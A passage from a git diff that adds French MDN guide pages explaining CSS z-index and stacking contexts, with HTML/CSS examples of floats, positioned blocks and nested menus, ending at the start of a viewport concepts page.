+<div class="note"><strong>Note :</strong> Dans l'exemple qui suit, tous les blocs sont transparents, excepté celui qui n'est pas positionné, montrant ainsi l'ordre d'empilement. Si l'on réduit l'opacité du bloc non positionné (DIV #4), il se produit quelque chose d'étrange : l'arrière-plan et la bordure de cet élément se placent par dessus les blocs flottants et les blocs positionnés. Il s'agit d'une interprétation particulière des spécifications CSS : l'application de l'opacité crée un nouveau contexte d'empilement (voir l'article : <a href="https://philipwalton.com/articles/what-no-one-told-you-about-z-index/">What No One Told You About Z-Index</a> de Philip Walton ou son excellente traduction de Vincent De Oliveira, <a href="https://iamvdo.me/blog/comprendre-z-index-et-les-contextes-dempilement">Ce que personne ne vous a dit sur z-index</a> et, bien-sûr, la <a href="https://www.w3.org/TR/CSS2/zindex.html">spécification</a>).</div>
+
+<p>{{EmbedLiveSample("Code_source_de_l’exemple", 600, 250)}}</p>
+
+<h2 id="Code_source_de_l'exemple">Code source de l'exemple</h2>
+
+<h3 id="HTML"><strong>HTML</strong></h3>
+
+<pre class="brush: html">&lt;div id="abs1"&gt;
+  &lt;b&gt;DIV #1&lt;/b&gt;&lt;br /&gt;position: absolute;&lt;/div&gt;
+
+&lt;div id="flo1"&gt;
+  &lt;b&gt;DIV #2&lt;/b&gt;&lt;br /&gt;float: left;&lt;/div&gt;
+
+&lt;div id="flo2"&gt;
+  &lt;b&gt;DIV #3&lt;/b&gt;&lt;br /&gt;float: right;&lt;/div&gt;
+
+&lt;br /&gt;
+
+&lt;div id="sta1"&gt;
+  &lt;b&gt;DIV #4&lt;/b&gt;&lt;br /&gt;no positioning&lt;/div&gt;
+
+&lt;div id="abs2"&gt;
+  &lt;b&gt;DIV #5&lt;/b&gt;&lt;br /&gt;position: absolute;&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  padding: 10px;
+  text-align: center;
+}
+
+b {
+  font-family: sans-serif;
+}
+
+#abs1 {
+  position: absolute;
+  width: 150px;
+  height: 200px;
+  top: 10px;
+  right: 140px;
+  border: 1px dashed #900;
+  background-color: #fdd;
+}
+
+#sta1 {
+  height: 100px;
+  border: 1px dashed #996;
+  background-color: #ffc;
+  margin: 0px 10px 0px 10px;
+  text-align: left;
+}
+
+#flo1 {
+  margin: 0px 10px 0px 20px;
+  float: left;
+  width: 150px;
+  height: 200px;
+  border: 1px dashed #090;
+  background-color: #cfc;
+}
+
+#flo2 {
+  margin: 0px 20px 0px 10px;
+  float: right;
+  width: 150px;
+  height: 200px;
+  border: 1px dashed #090;
+  background-color: #cfc;
+}
+
+#abs2 {
+  position: absolute;
+  width: 150px;
+  height: 100px;
+  top: 130px;
+  left: 100px;
+  border: 1px dashed #990;
+  background-color: #fdd;
+}</pre>
+
+<h2 id="Voir_aussi"><strong>Voir aussi</strong></h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Comprendre_z-index/Empilement_sans_z-index">L'empilement sans z-index</a> : Règles d'empilement par défaut</li>
+ <li><a href="/fr/docs/Web/CSS/Comprendre_z-index/Ajout_de_z-index">Ajouter z-index</a> : Utiliser z-index pour modifier l'empilement par défaut</li>
+ <li><a href="/fr/docs/Web/CSS/Comprendre_z-index/Empilement_de_couches">L'empilement de couches</a> : Remarques sur l'empilement de couches</li>
+ <li><a href="/fr/docs/Web/CSS/Comprendre_z-index/Exemple_1">Exemple d'empilement n°1</a> : Hiérarchie HTML à 2 niveaux, z-index sur le dernier niveau</li>
+ <li><a href="/fr/docs/Web/CSS/Comprendre_z-index/Exemple_2">Exemple d'empilement n°2</a> : Hiérarchie HTML à 2 niveaux, z-index sur tous les éléments</li>
+ <li><a href="/fr/docs/Web/CSS/Comprendre_z-index/Exemple_3">Exemple d'empilement n°3</a> : Hiérarchie HTML à 3 niveaux, z-index sur le deuxième niveau</li>
+</ul>
+
+
+
+<div>{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Empilement_sans_z-index","Web/CSS/Comprendre_z-index/Ajout_de_z-index", "Web/CSS/Comprendre_z-index")}}</div>
diff --git a/files/fr/web/css/comprendre_z-index/empilement_sans_z-index/index.html b/files/fr/web/css/comprendre_z-index/empilement_sans_z-index/index.html
new file mode 100644
index 0000000000..db892c51dc
--- /dev/null
+++ b/files/fr/web/css/comprendre_z-index/empilement_sans_z-index/index.html
@@ -0,0 +1,122 @@
+---
+title: Empilement sans z-index
+slug: Web/CSS/Comprendre_z-index/Empilement_sans_z-index
+tags:
+  - Avancé
+  - CSS
+  - Guide
+  - z-index
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index
+---
+<div>{{PreviousMenuNext("","Web/CSS/Comprendre_z-index/Empilement_et_float", "Web/CSS/Comprendre_z-index")}}</div>
+
+<h2 id="Empilement_sans_z-index">Empilement sans <code>z-index</code></h2>
+
+<p>Lorsqu’aucun élément n'a de {{cssxref("z-index")}} définis, tous les éléments sont empilés dans cet ordre (de bas en haut) :</p>
+
+<ol>
+ <li>Arrière-plans et bordures de l'élément racine</li>
+ <li>Blocs enfants dans le flux normal, dans leur ordre d'apparition (en HTML)</li>
+ <li>Éléments enfants positionnés, dans leur ordre d'apparition (en HTML)</li>
+</ol>
+
+<p>On gardera à l'esprit que, lorsque la propriété {{cssxref("order")}} modifie l'ordre visuel des conteneurs flexibles ({{cssxref("flex")}}), cela modifie également l'ordre du contexte d'empilement.</p>
+
+<p>Dans l'exemple suivant, les blocs en position absolue et relative sont correctement positionnés et dimensionnés pour illustrer les règles d'empilement. L'opacité a été réduite pour rendre les éléments transparents et faciliter ainsi la visualisation des superpositions.</p>
+
+<div class="note">
+<p><strong>Notes :</strong></p>
+
+<ul>
+ <li>Dans un groupe d'éléments sans aucune propriété <code>z-index</code>, tel que les blocs positionnés (DIV #1 à #4) dans l'exemple, l'ordre d'empilement des éléments est celui de leur ordre dans la hiérarchie HTML, quelle que soit leur position.</li>
+ <li>Les blocs standards (DIV #5) dans le flux normal, sans aucune propriété de positionnement, sont toujours rendus avant les éléments positionnés, et apparaissent en dessous de ces derniers, même s'ils interviennent plus tard dans la hiérarchie HTML.</li>
+ <li><strong>Attention</strong> : en copiant-collant le code ci-dessous, l'exemple ne fonctionnera pas pour le DIV#5 à cause de la propriété d'opacité qui lui a été affecté. Il apparaîtra donc au dessus des autres blocs.</li>
+</ul>
+</div>
+
+<p><img alt="Figure 1. Exemple de règles d'empilement sans propriété z-index" class="internal" src="/@api/deki/files/1448/=Understanding_zindex_01.png"></p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="abs1" class="absolute"&gt;
+  &lt;b&gt;DIV #1&lt;/b&gt;&lt;br /&gt;position: absolute;&lt;/div&gt;
+&lt;div id="rel1" class="relative"&gt;
+  &lt;b&gt;DIV #2&lt;/b&gt;&lt;br /&gt;position: relative;&lt;/div&gt;
+&lt;div id="rel2" class="relative"&gt;
+  &lt;b&gt;DIV #3&lt;/b&gt;&lt;br /&gt;position: relative;&lt;/div&gt;
+&lt;div id="abs2" class="absolute"&gt;
+  &lt;b&gt;DIV #4&lt;/b&gt;&lt;br /&gt;position: absolute;&lt;/div&gt;
+&lt;div id="sta1" class="static"&gt;
+  &lt;b&gt;DIV #5&lt;/b&gt;&lt;br /&gt;position: static;&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">b {
+  font-family: sans-serif;
+}
+
+div {
+  padding: 10px;
+  border: 1px dashed;
+  text-align: center;
+}
+
+.static {
+  position: static;
+  height: 80px;
+  background-color: #ffc;
+  border-color: #996;
+}
+
+.absolute {
+  position: absolute;
+  width: 150px;
+  height: 350px;
+  background-color: #fdd;
+  border-color: #900;
+  opacity: 0.7;
+}
+
+.relative {
+  position: relative;
+  height: 80px;
+  background-color: #cfc;
+  border-color: #696;
+  opacity: 0.7;
+}
+
+#abs1 {
+  top: 10px;
+  left: 10px;
+}
+
+#rel1 {
+  top: 30px;
+  margin: 0px 50px 0px 50px;
+}
+
+#rel2 {
+  top: 15px;
+  left: 20px;
+  margin: 0px 50px 0px 50px;
+}
+
+#abs2 {
+  top: 10px;
+  right: 10px;
+}
+
+#sta1 {
+  background-color: #ffc;
+  margin: 0px 50px 0px 50px;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple","600","400")}}</p>
+
+<div>{{PreviousMenuNext("","Web/CSS/Comprendre_z-index/Empilement_et_float", "Web/CSS/Comprendre_z-index")}}</div>
diff --git a/files/fr/web/css/comprendre_z-index/exemple_1/index.html b/files/fr/web/css/comprendre_z-index/exemple_1/index.html
new file mode 100644
index 0000000000..f155461dd4
--- /dev/null
+++ b/files/fr/web/css/comprendre_z-index/exemple_1/index.html
@@ -0,0 +1,117 @@
+---
+title: Exemple d'empilement 1
+slug: Web/CSS/Comprendre_z-index/Exemple_1
+tags:
+  - Avancé
+  - CSS
+  - Guide
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1
+---
+<div>{{PreviousMenuNext("Web/CSS/Comprendre_z-index/L'empilement_de_couches","Web/CSS/Comprendre_z-index/Exemple_2", "Web/CSS/Comprendre_z-index")}}</div>
+
+<h2 id="Premier_exemple">Premier exemple</h2>
+
+<p>Commençons par un exemple simple, dans le contexte d'empilement racine nous avons deux blocs <em>DIV</em> (<em>DIV #1</em> et <em>DIV #3</em>), tout deux positionnés relativement, mais sans propriété {{ cssxref("z-index") }}. Dans le bloc <em>DIV #1</em> il y a un bloc <em>DIV #2</em> en position absolue, alors que dans le bloc <em>DIV #3</em> il y a un bloc <em>DIV #4</em> en position absolue, tout deux également sans propriété <code>z-index</code>.</p>
+
+<p>Le seul et unique contexte d'empilement est le contexte racine. Sans <code>z-index</code>, les éléments sont empilés dans leur ordre d'apparition dans le code HTML.</p>
+
+<p><img alt="Figure 5a : Exemple de contexte d'empilement 1" class="internal" src="/@api/deki/files/1452/=Understanding_zindex_05a.png"></p>
+
+<p>Si on assigne au bloc <em>DIV #2</em> une valeur de <code>z-index</code> positive (non nulle et non automatique), il est rendu par dessus tous les autres blocs.</p>
+
+<p><img alt="Figure 5b : Exemple de contexte d'empilement 1" class="internal" src="/@api/deki/files/1453/=Understanding_zindex_05b.png"></p>
+
+<p>Si maintenant on assigne également au bloc <em>DIV #4</em> une valeur de <code>z-index</code> positive, plus grande que celle du <em>DIV #2</em>, le bloc <em>DIV #4</em> est rendu par dessus tous les autres, y compris par dessus le bloc <em>DIV #2</em>.</p>
+
+<p><img alt="Figure 5c : Exemple de contexte d'empilement 1" class="internal" src="/@api/deki/files/1454/=Understanding_zindex_05c.png"></p>
+
+<p>Dans le dernier exemple, vous pouvez voir que les blocs <em>DIV #2</em> et <em>DIV #4</em> ne sont pas frères, parce qu'ils appartiennent à des parents différents dans la hiérarchie des éléments HTML. Néanmoins, l'empilement du bloc <em>DIV #4</em>, tout en respectant le bloc <em>DIV #2</em>, peut être contrôlé avec la propriété <code>z-index</code>. Il se fait que les éléments <em>DIV #1</em> et <em>DIV #3</em> n'ayant pas de <code>z-index</code> défini, ils ne créent pas de contexte d'empilement. Cela signifie que l'ensemble de leur contenu, y compris les blocs <em>DIV #2</em> et <em>DIV #3</em>, appartient au contexte d'empilement de la racine.</p>
+
+<p>Dans le contexte d'empilement, les blocs <em>DIV #1</em> et <em>DIV #3</em> sont simplement assimilés dans l'élément racine, et la hiérarchie résultante est la suivante :</p>
+
+<ul>
+ <li>Contexte d'empilement racine
+  <ul>
+   <li>DIV #2 (z-index 1)</li>
+   <li>DIV #4 (z-index 2)</li>
+  </ul>
+ </li>
+</ul>
+
+<div class="note"><strong>Note :</strong> Les blocs <em>DIV #1</em> et <em>DIV #3</em> ne sont pas translucides. Il est important de se souvenir que d'assigner une valeur d'opacité inférieure à 1 à un élément positionné, crée implicitement un contexte d'empilement, de la même façon que l'ajout de propriétés <code>z-index</code>. Et cet exemple montre ce qui arrive lorsqu'un élément parent ne crée pas de contexte d'empilement.</div>
+
+<h2 id="Exemple"><strong>Exemple</strong></h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.bold {
+  font-weight: bold;
+  font: 12px Arial;
+}
+#div1,
+#div3 {
+  height: 80px;
+  position: relative;
+  border: 1px dashed #669966;
+  background-color: #ccffcc;
+  padding-left: 5px;
+}
+
+#div2 {
+  opacity: 0.8;
+  z-index: 1;
+  position: absolute;
+  width: 150px;
+  height: 200px;
+  top: 20px;
+  left: 170px;
+  border: 1px dashed #990000;
+  background-color: #ffdddd;
+  text-align: center;
+}
+
+#div4 {
+  opacity: 0.8;
+  z-index: 2;
+  position: absolute;
+  width: 200px;
+  height: 70px;
+  top: 65px;
+  left: 50px;
+  border: 1px dashed #000099;
+  background-color: #ddddff;
+  text-align: left;
+  padding-left: 10px;
+}</pre>
+
+<h3 id="HTML"><strong>HTML</strong></h3>
+
+<pre class="brush: html">&lt;div id="div1"&gt;
+  &lt;br/&gt;
+  &lt;span class="bold"&gt;DIV #1&lt;/span&gt;
+  &lt;br/&gt;position: relative;
+  &lt;div id="div2"&gt;
+    &lt;br/&gt;&lt;span class="bold"&gt;DIV #2&lt;/span&gt;
+    &lt;br/&gt;position: absolute;
+     &lt;br/&gt;z-index: 1;
+  &lt;/div&gt;
+&lt;/div&gt;
+
+&lt;br/&gt;
+
+&lt;div id="div3"&gt;
+  &lt;b/&gt;&lt;span class="bold"&gt;DIV #3&lt;/span&gt;
+  &lt;br/&gt;position: relative;
+  &lt;div id="div4"&gt;
+    &lt;br/&gt;&lt;span class="bold"&gt;DIV #4&lt;/span&gt;
+    &lt;br/&gt;position: absolute;
+    &lt;br/&gt;z-index: 2;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemple')}}</p>
+
+<div>{{PreviousMenuNext("Web/CSS/Comprendre_z-index/L'empilement_de_couches","Web/CSS/Comprendre_z-index/Exemple_2", "Web/CSS/Comprendre_z-index")}}</div>
diff --git a/files/fr/web/css/comprendre_z-index/exemple_2/index.html b/files/fr/web/css/comprendre_z-index/exemple_2/index.html
new file mode 100644
index 0000000000..75bbba62d9
--- /dev/null
+++ b/files/fr/web/css/comprendre_z-index/exemple_2/index.html
@@ -0,0 +1,128 @@
+---
+title: Exemple d'empilement 2
+slug: Web/CSS/Comprendre_z-index/Exemple_2
+tags:
+  - Avancé
+  - CSS
+  - Guide
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2
+---
+<div>{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Exemple_1","Web/CSS/Comprendre_z-index/Exemple_3", "Web/CSS/Comprendre_z-index")}}</div>
+
+<h2 id="Deuxième_exemple">Deuxième exemple</h2>
+
+<p>Ce deuxième exemple est très simple, mais il est essentiel à la compréhension du concept de <em>contexte d'empilement</em>. Nous avons les 4 mêmes blocs que l'exemple précédent, mais maintenant, nous appliquons des propriétés {{cssxref("z-index")}} aux deux niveaux de la hiérarchie.</p>
+
+<p><img alt="Figure 6 : Exemple de contexte d'empilement 2" class="internal" src="/@api/deki/files/1455/=Understanding_zindex_06.png"></p>
+
+<p>Vous pouvez voir que le bloc <em>DIV #2</em> (z-index : 2) est au dessus du bloc <em>DIV #3</em> (z-index : 1), parce qu'ils appartiennent tout les deux au même contexte d'empilement (celui de la racine), donc les valeurs de <code>z-index</code> régissent l'empilement des éléments.</p>
+
+<p>Ce qui peut apparaitre comme étrange, c'est que le bloc <em>DIV #2</em> (z-index : 2) est au dessus du bloc <em>DIV #4</em> (z-index : 10), malgré leurs valeurs de <code>z-index</code>. La raison est qu'ils n'appartiennent pas au même contexte d'empilement. Le bloc <em>DIV #4</em> appartient au contexte d'empilement créé par le bloc <em>DIV #3</em>, et, comme expliqué précédemment, le bloc <em>DIV #3</em> (et tout son contenu) est au dessous du bloc <em>DIV #2</em>.</p>
+
+<p>Pour mieux comprendre la situation, voici la hiérarchie du contexte d'empilement :</p>
+
+<ul>
+ <li>Contexte d'empilement racine
+  <ul>
+   <li>DIV #2 (z-index 2)</li>
+   <li>DIV #3 (z-index 1)
+    <ul>
+     <li>DIV #4 (z-index 10)</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<div class="note"><strong>Note :</strong> Il est important de se souvenir qu'en général, la hiérarchie HTML est différente de la hiérarchie du contexte d'empilement. Dans la hiérarchie du contexte d'empilement, les éléments qui ne créent pas un contexte d'empilement sont regroupés avec leur parents.</div>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  font: 12px Arial;
+}
+
+span.bold {
+  font-weight: bold;
+}
+
+#div2 {
+  z-index: 2;
+}
+
+#div3 {
+  z-index: 1;
+}
+
+#div4 {
+  z-index: 10;
+}
+
+#div1,#div3 {
+  height: 80px;
+  position: relative;
+  border: 1px dashed #669966;
+  background-color: #ccffcc;
+  padding-left: 5px;
+}
+
+#div2 {
+  opacity: 0.8;
+  position: absolute;
+  width: 150px;
+  height: 200px;
+  top: 20px;
+  left: 170px;
+  border: 1px dashed #990000;
+  background-color: #ffdddd;
+  text-align: center;
+}
+
+#div4 {
+  opacity: 0.8;
+  position: absolute;
+  width: 200px;
+  height: 70px;
+  top: 65px;
+  left: 50px;
+  border: 1px dashed #000099;
+  background-color: #ddddff;
+  text-align: left;
+  padding-left: 10px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;br/&gt;
+
+&lt;div id="div1"&gt;
+  &lt;br/&gt;&lt;span class="bold"&gt;DIV #1&lt;/span&gt;
+  &lt;br/&gt;position: relative;
+  &lt;div id="div2"&gt;
+    &lt;br/&gt;&lt;span class="bold"&gt;DIV #2&lt;/span&gt;
+    &lt;br/&gt;position: absolute;
+    &lt;br/&gt;z-index: 2;
+  &lt;/div&gt;
+&lt;/div&gt;
+
+&lt;br/&gt;
+
+&lt;div id="div3"&gt;
+  &lt;br/&gt;&lt;span class="bold"&gt;DIV #3&lt;/span&gt;
+  &lt;br/&gt;position: relative;
+  &lt;br/&gt;z-index: 1;
+  &lt;div id="div4"&gt;
+    &lt;br/&gt;&lt;span class="bold"&gt;DIV #4&lt;/span&gt;
+    &lt;br/&gt;position: absolute;
+    &lt;br/&gt;z-index: 10;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple")}}</p>
+
+<div>{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Exemple_1","Web/CSS/Comprendre_z-index/Exemple_3", "Web/CSS/Comprendre_z-index")}}</div>
diff --git a/files/fr/web/css/comprendre_z-index/exemple_3/index.html b/files/fr/web/css/comprendre_z-index/exemple_3/index.html
new file mode 100644
index 0000000000..5530887ec2
--- /dev/null
+++ b/files/fr/web/css/comprendre_z-index/exemple_3/index.html
@@ -0,0 +1,160 @@
+---
+title: Exemple d'empilement 3
+slug: Web/CSS/Comprendre_z-index/Exemple_3
+tags:
+  - Avancé
+  - CSS
+  - Guide
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3
+---
+<div>{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Exemple_2","", "Web/CSS/Comprendre_z-index")}}</div>
+
+<h2 id="Troisième_exemple">Troisième exemple</h2>
+
+<p>Ce dernier exemple illustre les problèmes qui peuvent survenir lorsqu'on utilise des éléments positionnés dans une hiérarchie HTML à plusieurs niveaux et lorsque des {{cssxref("z-index")}} sont assignés à l'aide de sélecteurs de classe.</p>
+
+<p>Prenons un exemple de menu hiérarchique à 3 niveaux, fait de plusieurs <em>DIV</em> positionnés. Les deuxième et troisième niveaux apparaissent lors du survol ou d'un clic sur leur parent. D'ordinaire, ce type de menu est généré par un script, côté client ou côté serveur, de façon à ce que les règles de styles soient assignées à l'aide de sélecteurs de classe plutôt qu'avec des sélecteurs d'<em>id</em>.</p>
+
+<p>Si les trois niveaux du menu se chevauchent partiellement, alors la gestion de l'empilement peut devenir problématique.</p>
+
+<p><img alt="Figure 7 : Exemple de contexte d'empilement 3" class="internal" src="/@api/deki/files/1456/=Understanding_zindex_07.png"></p>
+
+<p>Le menu de premier niveau est positionné relativement, ainsi aucun contexte d'empilement n'est créé.</p>
+
+<p>Le menu de deuxième niveau est positionné en absolu à l'intérieur de son élément parent. Afin de le faire apparaître au dessus de tous les menus de premier niveau, on utilise un <code>z-index</code>. Le problème est que pour chaque menu de deuxième niveau, un contexte d'empilement se crée et chaque menu de troisième niveau appartient au contexte d'empilement de son parent.</p>
+
+<p>Ainsi donc, un menu de troisième niveau s'empilera sous les menus de deuxième niveau suivants, car tous les menus de deuxième niveau partagent la même valeur de <code>z-index</code> et que les règles d'empilement par défaut s'appliquent.</p>
+
+<p>Pour mieux comprendre la situation, voici la hiérarchie du contexte d'empilement :</p>
+
+<ul>
+ <li>Contexte d'empilement racine
+  <ul>
+   <li>Niveau #1
+    <ul>
+     <li>Niveau #2 (z-index : 1)
+      <ul>
+       <li>Niveau #3</li>
+       <li>…</li>
+       <li>Niveau #3</li>
+      </ul>
+     </li>
+     <li>Niveau #2 (z-index : 1)</li>
+     <li>…</li>
+     <li>Niveau #2 (z-index : 1)</li>
+    </ul>
+   </li>
+   <li>Niveau #1</li>
+   <li>…</li>
+   <li>Niveau #1</li>
+  </ul>
+ </li>
+</ul>
+
+<p>On peut contourner ce problème en supprimant le chevauchement entre les différents niveaux du menu, ou en utilisant des valeurs de <code>z-index</code> individuelles (et différentes) assignées à l'aide de sélecteurs d'<em>id</em> plutôt que des sélecteurs de classe ou encore en aplatissant la hiérarchie HTML.</p>
+
+<div class="note"><strong>Note :</strong> Dans le code source, vous remarquerez que les menus de deuxième et troisième niveaux sont construits à l'aide de plusieurs boîtes <em>DIV</em> contenues dans un élément positionné en absolu. Ceci sert à les grouper et à les positionner en une seule fois.</div>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  font: 12px Arial;
+}
+
+span.bold {
+  font-weight: bold;
+}
+
+div.lev1 {
+  width: 250px;
+  height: 70px;
+  position: relative;
+  border: 2px outset #669966;
+  background-color: #ccffcc;
+  padding-left: 5px;
+}
+
+#container1 {
+  z-index: 1;
+  position: absolute;
+  top: 30px;
+  left: 75px;
+}
+
+div.lev2 {
+  opacity: 0.9;
+  width: 200px;
+  height: 60px;
+  position: relative;
+  border: 2px outset #990000;
+  background-color: #ffdddd;
+  padding-left: 5px;
+}
+
+#container2 {
+  z-index: 1;
+  position: absolute;
+  top: 20px;
+  left: 110px;
+}
+
+div.lev3 {
+  z-index: 10;
+  width: 100px;
+  position: relative;
+  border: 2px outset #000099;
+  background-color: #ddddff;
+  padding-left: 5px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;br/&gt;
+
+&lt;div class="lev1"&gt;
+&lt;span class="bold"&gt;LEVEL #1&lt;/span&gt;
+  &lt;div id="container1"&gt;
+    &lt;div class="lev2"&gt;
+      &lt;br/&gt;&lt;span class="bold"&gt;LEVEL #2&lt;/span&gt;
+      &lt;br/&gt;z-index: 1;
+      &lt;div id="container2"&gt;
+        &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+        &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+        &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+        &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+        &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+        &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+        &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+        &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+        &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+        &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+        &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div class="lev2"&gt;
+      &lt;br/&gt;&lt;span class="bold"&gt;LEVEL #2&lt;/span&gt;
+      &lt;br/&gt;z-index: 1;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="lev1"&gt;
+  &lt;span class="bold"&gt;LEVEL #1&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div class="lev1"&gt;
+  &lt;span class="bold"&gt;LEVEL #1&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div class="lev1"&gt;
+  &lt;span class="bold"&gt;LEVEL #1&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple")}}</p>
+
+<div>{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Exemple_2","", "Web/CSS/Comprendre_z-index")}}</div>
diff --git a/files/fr/web/css/comprendre_z-index/index.html b/files/fr/web/css/comprendre_z-index/index.html
new file mode 100644
index 0000000000..0c6c636886
--- /dev/null
+++ b/files/fr/web/css/comprendre_z-index/index.html
@@ -0,0 +1,36 @@
+---
+title: Comprendre z-index en CSS
+slug: Web/CSS/Comprendre_z-index
+tags:
+  - Avancé
+  - CSS
+  - Guide
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index
+---
+<p>{{CSSRef}}{{PreviousMenuNext("","Web/CSS/Comprendre_z-index/Empilement_sans_z-index", "Web/CSS/Comprendre_z-index")}}</p>
+
+<p>Généralement, les pages HTML sont vues comme des objets en deux dimensions et le texte, les images et les autres éléments sont disposés sans se chevaucher. Il y a un seul flux de rendu, et tous les éléments connaissent la place occupée par les autres.</p>
+
+<blockquote>
+<p><em>Dans CSS 2.1, chaque boîte a une position dans les 3 dimensions. En plus de leurs positions horizontale et verticale, les boîtes sont disposées sur un axe Z et sont disposées les unes sur les autres. Les positions sur l'axe Z sont particulièrement importantes lorsque deux boîtes se chevauchent visuellement. </em></p>
+</blockquote>
+
+<p>Source : <a class="external" href="https://www.w3.org/TR/CSS2/visuren.html#z-index">Section 9.9.1. de CSS 2.1 - La présentation en couches</a></p>
+
+<p>Cela signifie que les règles de style CSS permettent de positionner des boîtes sur différentes couches, la couche « normale » étant la couche située en 0 sur l'axe Z. La position de chaque couche sur l'axe Z est exprimée par un nombre entier qui représente l'ordre d'empilement pour le rendu visuel. Plus cet entier sera grand, plus la couche sera haute dans la pile. Cette valeur se contrôle via la propriété CSS {{cssxref("z-index")}}.</p>
+
+<p><code>z-index</code> peut sembler simple d'utilisation : il ne s'agit que d'une seule propriété, exprimée avec un entier et un comportement plutôt simple de prime abord. Cependant, lorsque <code>z-index</code> est appliquée à des hiérarchies complexes d'éléments HTML, son comportement peut vite devenir difficile à appréhender, voire imprévisible. Ceci est dû aux règles complexes d'empilement.</p>
+
+<p>Ces articles ont pour but d'expliquer ces règles, de proposer quelques simplifications et de nombreux exemples.</p>
+
+<ol>
+ <li><a href="/fr/docs/Web/CSS/Comprendre_z-index/Empilement_sans_z-index">L'empilement sans <code>z-index</code></a> : Règles d'empilement par défaut</li>
+ <li><a href="/fr/docs/Web/CSS/Comprendre_z-index/Empilement_et_float">L'empilement et <code>float</code></a> : Comportement des éléments flottants</li>
+ <li><a href="/fr/docs/Web/CSS/Comprendre_z-index/Ajout_de_z-index">Ajouter <code>z-index</code></a> : Utiliser <code>z-index</code> pour modifier l'empilement par défaut</li>
+ <li><a href="/fr/docs/Web/CSS/Comprendre_z-index/Empilement_de_couches">L'empilement de couches</a> : Remarques sur l'empilement de couches</li>
+ <li><a href="/fr/docs/Web/CSS/Comprendre_z-index/Exemple_1">Exemple d'empilement n°1</a> : Hiérarchie HTML à 2 niveaux, <code>z-index</code> sur le dernier niveau</li>
+ <li><a href="/fr/docs/Web/CSS/Comprendre_z-index/Exemple_2">Exemple d'empilement n°2</a> : Hiérarchie HTML à 2 niveaux, <code>z-index</code> sur tous les éléments</li>
+ <li><a href="/fr/docs/Web/CSS/Comprendre_z-index/Exemple_3">Exemple d'empilement n°3</a> : Hiérarchie HTML à 3 niveaux, <code>z-index</code> sur le deuxième niveau</li>
+</ol>
+
+<p>{{PreviousMenuNext("","Web/CSS/Comprendre_z-index/Empilement_sans_z-index", "Web/CSS/Comprendre_z-index")}}</p>
diff --git a/files/fr/web/css/concepts_viewport/index.html b/files/fr/web/css/concepts_viewport/index.html
new file mode 100644
index 0000000000..56143515c0
--- /dev/null
+++ b/files/fr/web/css/concepts_viewport/index.html
@@ -0,0 +1,156 @@
+---
+title: Concepts relatifs au viewport
+slug: Web/CSS/Concepts_viewport
+tags:
+  - CSS
+  - Guide
+  - viewport
+translation_of: Web/CSS/Viewport_concepts
+---
+<p>{{CSSRef}}</p>
+
+<p class="summary">Dans cet article, nous définirons le concept de <em>viewport</em> ou de zone d'affichage, les différences entre la zone d'affichage visuelle et la zone d'affichage pour la disposition. Nous verrons également ce que signifie la zone d'affichage pour CSS, SVG et pour les appareils mobiles.</p>
+
